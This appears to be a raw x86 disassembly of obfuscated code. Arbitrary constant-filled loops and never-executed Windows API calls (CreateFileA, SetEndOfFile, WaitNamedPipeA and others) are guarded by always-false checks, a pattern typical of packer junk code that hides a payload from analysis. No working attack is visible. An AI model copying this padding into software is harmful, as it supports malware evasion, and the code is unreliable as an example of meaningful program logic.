mov eax, dword [ebp - 0x884]
cmp dword [ebp - 0x3c], eax
jne 0x1002e714
xor eax, eax
cmp dword [ebp - 0xaac], eax
je 0x1002e716
mov eax, edi
jmp 0x1002e716
xor eax, eax
imul eax, eax, 0xf455
push 4
pop ecx
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ecx
jge 0x1002e74a
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x11dc], 0xe48d327c
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1002e732
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ecx
jge 0x1002e76a
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x7c0], 0xdb505206
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1002e752
xor eax, eax
mov dword [ebp - 0x7bc], eax
cmp dword [ebp - 0x7bc], ecx
jge 0x1002e799
mov eax, dword [ebp - 0x7bc]
mov dword [ebp + eax*4 - 0x11dc], 0
inc dword [ebp - 0x7bc]
cmp dword [ebp - 0x7bc], ecx
jl 0x1002e778
xor eax, eax
mov dword [ebp - 0x14], 0xfffffff8
jmp 0x1002e7c5
mov dword [ebp - 0x44], 0x3707
cmp dword [ebp - 0x44], eax
jne 0x1002e7cb
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002e7c2
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffffa
je 0x1002e7a2
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x13
jg 0x1002ec6e
mov dword [ebp - 0x44], 0x8acc4b7c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002e7ff
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x234], 0x7ddc85f7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002e7e7
xor eax, eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0xfffffff4
jge 0x1002e872
mov dword [ebp - 0x38], edi
xor ecx, ecx
mov dword [ebp - 0x44], 0xc58bdfad
mov eax, dword [ebp - 0x22c]
cmp eax, 0xfffffffd
setge cl
cmp dword [ebp - 0x22c], ecx
jne 0x1002e845
mov eax, dword [ebp - 0x22c]
sub eax, dword [ebp - 0x22c]
mov dword [ebp - 0x44], eax
jne 0x1002e845
xor eax, eax
mov ecx, eax
jmp 0x1002e847
mov ecx, edi
mov eax, dword [ebp - 0x22c]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setge dl
xor ecx, ecx
cmp eax, edx
setg cl
mov dword [ebp - 0x44], ecx
dec dword [ebp - 0x22c]
cmp dword [ebp - 0x22c], 0xfffffff4
jl 0x1002e80e
xor eax, eax
mov dword [ebp - 0x18], 0xa8fecf79
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x1c], 0xfffffffa
jmp 0x1002e8ed
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x44], 0x5b7d
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x1002e8b7
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x11f4], 8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1002e89e
xor eax, eax
mov dword [ebp - 0x58], ebx
cmp dword [ebp - 0x58], eax
jl 0x1002e8de
or ecx, 0xffffffff
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x3c], ebx
cmp dword [ebp - 0x3c], eax
jl 0x1002e8d9
mov dword [ebp - 0x44], 0x285faafe
dec dword [ebp - 0x3c]
jns 0x1002e8cd
dec dword [ebp - 0x58]
jns 0x1002e8c2
mov eax, dword [ebp - 0x11f0]
mov dword [ebp - 0x44], eax
inc dword [ebp - 0x1c]
push 0
pop eax
cmp dword [ebp - 0x1c], 0xe
je 0x1002e888
mov dword [ebp - 0x1c], 0xfffffffd
xor eax, eax
cmp dword [ebp - 0x1c], 0xffffffe6
jge 0x1002e90c
cmp dword [ebp - 0x38], eax
jne 0x1002e90c
dec dword [ebp - 0x1c]
jmp 0x1002e8fc
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002e92f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x116c], 0x1713
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002e917
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002e97e
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002e97b
push 0x1227
push 0x219a
push 0x594
push 0x12c4
push 0xc79
push 0x1b51
push 0x7f5
push 0x1652
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Arc]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jle 0x1002e934
mov dword [ebp - 0x58], 0x84edc022
or ecx, 0xffffffff
mov dword [ebp - 0x2c], 0x54fddd3f
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x1002e9bd
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x1194], 0x5912491e
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1002e9a5
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x1002e9dd
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x53c], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1002e9c5
xor eax, eax
mov dword [ebp - 0x53c], edi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1002ea03
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x32c], 0x41fd9d08
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002e9eb
xor eax, eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x3c], 0xf6128b29
push 4
mov dword [ebp - 0x24], eax
pop ecx
cmp dword [ebp - 0x24], ecx
jge 0x1002ea2f
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x388], edi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1002ea1b
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ecx
jge 0x1002ea4f
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x180], 9
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1002ea37
xor eax, eax
mov dword [ebp - 0x178], ebx
cmp dword [ebp - 0x178], eax
jl 0x1002ebea
mov dword [ebp - 0x14], 0xa82e77e8
mov eax, dword [ebp - 0x178]
mov eax, dword [ebp + eax*4 - 0x388]
cmp eax, dword [ebp - 0x174]
jge 0x1002eadf
mov eax, dword [ebp - 0x178]
xor ecx, ecx
or ebx, 0xffffffff
mov edx, dword [ebp + eax*4 - 0x388]
mov eax, dword [ebp - 0x178]
cmp eax, ebx
mov eax, dword [ebp - 0x178]
setne cl
xor ebx, ebx
cmp edx, ecx
mov edx, dword [ebp + eax*4 - 0x388]
setle bl
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
sub ebx, eax
mov eax, dword [ebp - 0x178]
cmp edx, ebx
setg cl
add ecx, 0xfffffffa
cmp ecx, dword [ebp + eax*4 - 0x388]
jg 0x1002ead7
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1002ead9
mov eax, edi
jmp 0x1002ead9
xor eax, eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x388]
mov eax, dword [ebp - 0x178]
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1002eb12
cmp dword [ebp - 0x384], eax
je 0x1002eb12
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002eb23
push eax
push 0x25ca
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
jmp 0x1002eb21
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002eb23
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x14], eax
je 0x1002eb2c
mov edx, edi
mov eax, dword [ebp - 0x178]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x388]
cmp eax, edi
setne cl
cmp dword [ebp - 0x14], ecx
jle 0x1002eb4b
mov eax, dword [ebp - 0x178]
mov eax, dword [ebp - 0x388]
mov dword [ebp - 0x30], 0x2cf3e4c9
xor eax, eax
cmp dword [ebp - 0x30], eax
jne 0x1002eb64
cmp dword [ebp - 0x1c], eax
je 0x1002eb66
mov eax, edi
imul eax, eax, 0xb2b
xor ecx, ecx
sub eax, dword [ebp - 0x178]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp eax, 0x2a5b4d63
setge cl
add ecx, dword [ebp - 0x14]
cmp edx, ecx
jl 0x1002ebd2
mov dword [ebp - 0x44], edi
xor eax, eax
cmp dword [ebp - 0x44], eax
jne 0x1002eba2
mov eax, dword [ebp - 0x380]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x178]
mov eax, dword [ebp + eax*4 - 0x388]
mov eax, dword [ebp - 0x174]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x14], eax
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002ebd9
push eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x1002ebd9
mov dword [ebp - 0x1c], 0x5e2623e
dec dword [ebp - 0x178]
jns 0x1002ea61
push 3
xor eax, eax
pop ebx
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002ebfb
push eax
push eax
call dword [sym.imp.USER32.dll_LoadMenuW]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x32c], eax
imul eax, dword [ebp - 0x32c], 0x3b6f
mov edx, dword [ebp - 0x18]
push 0
dec eax
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
imul edx, eax
mov eax, dword [ebp - 0x54]
cmp edx, eax
setge cl
mov dword [ebp - 0x54], ecx
mov edx, dword [ebp - 0x54]
sub edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
inc edx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
mov dword [ebp - 0x18], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x58]
mov edx, dword [ebp - 0x34]
sub edx, eax
mov eax, dword [ebp - 0x58]
cmp edx, eax
pop eax
setl cl
mov dword [ebp - 0x44], ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x13
jle 0x1002e7d8
mov dword [ebp - 0x1c], 0x32b1cecb
mov dword [ebp - 0x58], 0xfffffffa
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x1002ec9c
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xb4], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1002ec84
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x1002ecbe
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x120c], 0x8d239be9
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x1002eca5
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jl 0x1002ee18
mov dword [ebp - 0x24], 0x9f7fd1e8
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x2c], 0x145c
mov dword [ebp - 0x44], 0xa4087b33
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002ed02
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1120], 4
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002ecea
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jl 0x1002ed82
or ecx, 0xffffffff
mov dword [ebp - 0x14], 0xb9dd952e
mov dword [ebp - 0x28], 0xfffffffd
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x2c], 0x253a34c8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], eax
jl 0x1002ed38
mov dword [ebp - 0x34], ecx
inc dword [ebp - 0x34]
dec dword [ebp - 0x14]
jns 0x1002ed2d
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
jg 0x1002ed7d
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], eax
jl 0x1002ed72
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], eax
jl 0x1002ed6d
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002ed68
push eax
push 0x1981
push eax
call dword [sym.imp.OLEAUT32.dll_SafeArrayLock]
xor eax, eax
dec dword [ebp - 0x3c]
jns 0x1002ed50
dec dword [ebp - 0x14]
jns 0x1002ed48
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
jle 0x1002ed40
or ecx, 0xffffffff
dec dword [ebp - 0x24]
jns 0x1002ed0d
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xb4]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1120], eax
test eax, eax
je 0x1002eda8
mov eax, dword [ebp - 0xb4]
cmp dword [ebp - 0x58], eax
jl 0x1002eda8
mov edx, edi
jmp 0x1002edac
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x58]
setl cl
xor edx, edx
cmp ecx, 0xb2bc
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
cmp ecx, 7
sbb eax, eax
neg eax
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xb4]
imul eax, dword [ebp - 0xb4], 0xc28c
test eax, eax
jne 0x1002edf5
cmp dword [ebp - 0x24], eax
je 0x1002edf7
mov eax, edi
mov dword [ebp - 0x1200], eax
mov ecx, dword [ebp - 0x44]
add ecx, eax
mov eax, dword [ebp - 0x1c]
push 0
mov dword [ebp + eax*4 - 0xb4], ecx
dec dword [ebp - 0x1c]
pop eax
jns 0x1002ecca
mov dword [ebp - 0x2c], 0x2db58e46
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002ee3e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetBkColor]
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002ee66
push eax
push 0x898
push 0xbdf
push eax
push 0x6a2
push 0x21a1
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
xor eax, eax
mov byte [ebp - 0xd], al
or ecx, 0xffffffff
mov dword [ebp - 0x40], 0xbb74
mov dword [ebp - 0x18], 0x68cb667f
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x54], 0x6a6d983a
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002eea4
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1d4], 0x17cd9532
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002ee8c
xor eax, eax
cmp dword [ebp - 0x40], eax
jne 0x1002ef03
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x40]
neg eax
neg eax
sbb eax, eax
xor edx, edx
neg eax
add ecx, eax
mov eax, dword [ebp - 0x40]
cmp ecx, eax
setl dl
imul edx, dword [ebp - 0x40]
sub edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
mov dword [ebp - 0x18], ecx
mov ecx, 0xb9ba5e0b
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
sub ecx, eax
mov dword [ebp - 0x3c], ecx
jne 0x1002ef03
xor eax, eax
mov edx, eax
jmp 0x1002ef05
mov edx, edi
mov eax, dword [ebp - 0x40]
xor ecx, ecx
cmp eax, edx
setl cl
xor eax, eax
cmp ecx, dword [ebp - 0x40]
jl 0x1002ef1d
mov ecx, edi
cmp dword [ebp - 0x3c], eax
jne 0x1002ef1f
mov ecx, eax
xor eax, eax
mov dword [ebp - 0x1d0], ecx
cmp ecx, 0x6e87
setl al
cmp dword [ebp - 0x40], eax
jge 0x1002f034
xor eax, eax
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x14], eax
jmp 0x1002ef54
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x9cc], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1002ef43
mov dword [ebp - 0x40], 0xa
jmp 0x1002effc
mov dword [ebp - 0x30], 0x6e3f0e26
xor ecx, ecx
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x44], 0x663b8b2e
mov eax, dword [ebp - 0x34]
cmp eax, 0x28ae
setge cl
cmp ecx, dword [ebp - 0x1d0]
jge 0x1002ef95
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x3c], eax
je 0x1002ef97
mov ecx, edi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x18], edi
mov edx, dword [ebp - 0x1d0]
mov eax, dword [ebp - 0x30]
imul edx, eax
mov eax, dword [ebp - 0x18]
imul eax, ecx
xor ecx, ecx
cmp edx, eax
sete cl
xor eax, eax
cmp ecx, dword [ebp - 0x54]
jge 0x1002efc4
cmp dword [ebp - 0x30], eax
je 0x1002efc4
mov eax, edi
mov dword [ebp - 0x9c8], eax
mov eax, dword [ebp - 0x9c0]
sub eax, dword [ebp - 0x58]
jne 0x1002efe4
cmp dword [ebp - 0x9c8], eax
jne 0x1002efe4
mov ecx, eax
cmp dword [ebp - 0x34], eax
je 0x1002efe6
mov ecx, edi
mov eax, dword [ebp - 0x58]
xor edx, edx
add ecx, 0x9e46ed4d
cmp ecx, eax
setle dl
mov dword [ebp - 0x44], edx
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0x1d
jg 0x1002ef66
mov dword [ebp - 0x18], ebx
xor eax, eax
cmp dword [ebp - 0x18], eax
jl 0x1002f069
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x9cc], ecx
xor eax, eax
mov dword [ebp - 0x1d0], ecx
cmp dword [ebp - 0x9c8], eax
jne 0x1002f067
dec dword [ebp - 0x18]
jns 0x1002f013
jmp 0x1002f067
xor eax, eax
mov dword [ebp - 0x44], 0xfffffff8
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002f058
push 0x2517
push eax
push eax
push 0x1f6f
push eax
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
mov eax, dword [ebp - 0x1d4]
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x44], eax
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x1b
jl 0x1002f13e
mov dword [ebp - 0x34], 0x53f3
mov dword [ebp - 0x30], 0x6afe108d
mov dword [ebp - 0x44], 0x66f8
mov dword [ebp - 0x38], 0xfffffffc
mov dword [ebp - 0x14], eax
jmp 0x1002f0a8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x4fc], 0xd6f4
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002f097
mov eax, dword [ebp - 0x4f8]
xor edx, edx
mov eax, dword [ebp - 0x1d0]
mov eax, dword [ebp - 0x4f8]
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x40]
cmp ecx, eax
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
setge dl
xor ebx, ebx
cmp edx, 0x4d35
setle bl
xor edx, edx
cmp ecx, eax
setle dl
xor eax, eax
cmp ebx, edx
jne 0x1002f0f7
cmp dword [ebp - 0x18], eax
je 0x1002f0f7
mov eax, edi
cmp dword [ebp - 0x40], eax
jg 0x1002f105
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x1002f10e
jmp 0x1002f107
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x30], eax
je 0x1002f110
mov ecx, edi
mov eax, dword [ebp - 0x4fc]
imul eax, ecx
cmp eax, dword [ebp - 0x30]
jle 0x1002f129
xor eax, eax
cmp dword [ebp - 0x44], eax
je 0x1002f12b
mov eax, edi
jmp 0x1002f12b
xor eax, eax
mov dword [ebp - 0x38], eax
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0x1b
push 0
pop eax
jge 0x1002f076
cmp byte [ebp - 0xd], 0
je 0x1002f215
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x34], 0xd5943e2f
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x1002f176
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x334], 0xd386
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1002f15e
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x1002f196
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x31c], 0x7c7128ab
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1002f17e
xor eax, eax
mov dword [ebp - 0x14], 0x68ec0ae9
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], eax
jl 0x1002f209
mov dword [ebp - 0x3c], 0x54bcd76c
mov dword [ebp - 0x34], 0xeab3cf81
cmp dword [ebp - 0x3c], eax
je 0x1002f1bb
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
neg edx
push 0
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, edx
setl cl
mov dword [ebp - 0x34], ecx
xor ecx, ecx
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x334]
neg edx
cmp edx, eax
setg cl
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x334]
mov eax, dword [ebp - 0x31c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x31c], edi
dec dword [ebp - 0x14]
pop eax
jns 0x1002f1a5
push 0x162b
push eax
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
push 0xfffffffffffffff7
pop edx
mov dword [ebp - 0x1c], edx
mov ebx, 0x1b76e1ee
mov dword [ebp - 0x34], edx
mov esi, 0xc9bf5e4d
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x44], 0x2542
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], 0x4aca62e2
mov dword [ebp - 0x2c], 0x18e8dce9
mov dword [ebp - 0x2c], 0xfffffffb
push 4
pop ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x2c], edi
push 5
pop eax
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x2c], 0xe7924a04
mov dword [ebp - 0x2c], 0xe0ad50a0
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x2c], 0x48eca1ae
mov dword [ebp - 0x2c], 0xd2d97b6e
mov dword [ebp - 0x2c], 0xc31937da
mov dword [ebp - 0x2c], 0x43232af7
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x2c], 0xad706983
mov dword [ebp - 0x2c], 0xff0f9ab1
mov dword [ebp - 0x2c], 0xc7d87010
mov dword [ebp - 0x2c], 0x61f0846d
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], ecx
jge 0x1002f2ca
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0xbc8], 0x327c
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], ecx
jl 0x1002f2b2
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], edi
jge 0x1002f2ea
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0xe48], 0x44d9913d
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], edi
jl 0x1002f2d2
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 2
jge 0x1002f30c
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x128c], 0xaa3630dd
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 2
jl 0x1002f2f3
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], edi
jge 0x1002f32c
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x33c], 0
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], edi
jl 0x1002f314
xor eax, eax
mov dword [ebp - 0x1c], 3
cmp dword [ebp - 0x1c], eax
jl 0x1002f471
mov dword [ebp - 0x14], 0x3edb3952
or edx, 0xffffffff
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x24], eax
jmp 0x1002f362
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xffc], 0xc40a98ce
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1002f351
mov eax, dword [ebp - 0x1c]
push 0xfffffffffffffff7
pop ecx
mov eax, dword [ebp + eax*4 - 0xbc8]
mov dword [ebp - 0x34], 0x74d
mov eax, dword [ebp - 0xffc]
sub ecx, eax
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
add edx, ecx
dec dword [ebp - 0x30]
cmp eax, edx
jge 0x1002f396
mov ecx, edi
jmp 0x1002f39a
xor eax, eax
mov ecx, eax
mov eax, 0xc193
sub eax, ecx
xor ecx, ecx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xbc8]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xbc8]
cmp eax, edi
sete cl
xor eax, eax
cmp ecx, 0x66593c39
jg 0x1002f3df
cmp dword [ebp - 0x3c], eax
je 0x1002f3df
mov eax, edi
cmp eax, dword [ebp - 0x14]
jne 0x1002f3f7
xor eax, eax
cmp dword [ebp - 0xff0], eax
je 0x1002f3f9
cmp dword [ebp - 0x3c], eax
je 0x1002f3f9
mov ecx, edi
jmp 0x1002f3fb
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xbc8]
add eax, ecx
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x14], 3
cmp dword [ebp - 0x14], eax
jl 0x1002f45f
mov dword [ebp - 0x38], 0xfffffffd
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x1002f44e
push 5
pop ecx
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x580], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1002f43c
mov eax, dword [ebp - 0x580]
mov dword [ebp - 0x38], eax
dec dword [ebp - 0x14]
push 0
pop eax
jns 0x1002f42a
dec dword [ebp - 0x1c]
push 0
pop eax
push 4
pop ecx
jns 0x1002f33c
push 0xfffffffffffffff7
pop edx
dec dword [ebp - 0x33c]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x44], 0x2542
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], 0x4aca62e2
mov dword [ebp - 0x2c], 0x18e8dce9
mov dword [ebp - 0x2c], 0xfffffffb
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x2c], edi
push 5
pop esi
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x2c], 0xe7924a04
mov dword [ebp - 0x2c], 0xe0ad50a0
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x2c], 0x48eca1ae
mov dword [ebp - 0x2c], 0xd2d97b6e
mov dword [ebp - 0x2c], 0xc31937da
mov dword [ebp - 0x2c], 0x43232af7
mov dword [ebp - 0x2c], eax
